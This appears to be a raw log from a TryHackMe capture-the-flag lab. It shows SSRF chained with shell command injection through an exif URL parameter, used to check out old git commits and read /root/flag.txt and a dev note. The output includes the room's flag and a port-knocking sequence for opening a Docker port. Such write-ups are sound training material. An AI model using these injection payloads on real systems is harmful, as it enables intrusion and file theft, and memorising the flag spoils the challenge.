You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by performing another checkout. If you want to create a new branch to retain commits you create, you may do so (now or later) by using -b with the checkout command again. Example: git checkout -b <new-branch-name> HEAD is now at 5242825 fixed the dev note GET /api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+checkout+4530ff7f56b215fa9fe76c4d7cc1319960c4e539 HTTP/1.1 Previous HEAD position was 5242825 fixed the dev note HEAD is now at 4530ff7 Removed the flag and original dev note b/c Security GET /api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+checkout+a3d30a7d0510dc6565ff9316e3fb84434916dee8 HTTP/1.1 Previous HEAD position was 4530ff7 Removed the flag and original dev note b/c Security HEAD is now at a3d30a7 Added the flag and dev notes GET /api/exif?url=http://api-dev-backup:8080/exif?url=;cat+/root/flag.txt HTTP/1.1 THM{0cb4b947043cb5c0486a454b75a10876} GET /api/exif?url=http://api-dev-backup:8080/exif?url=;cat+/root/dev-note.txt HTTP/1.1 Hey guys, I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin. Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port. Cheers, Hydra
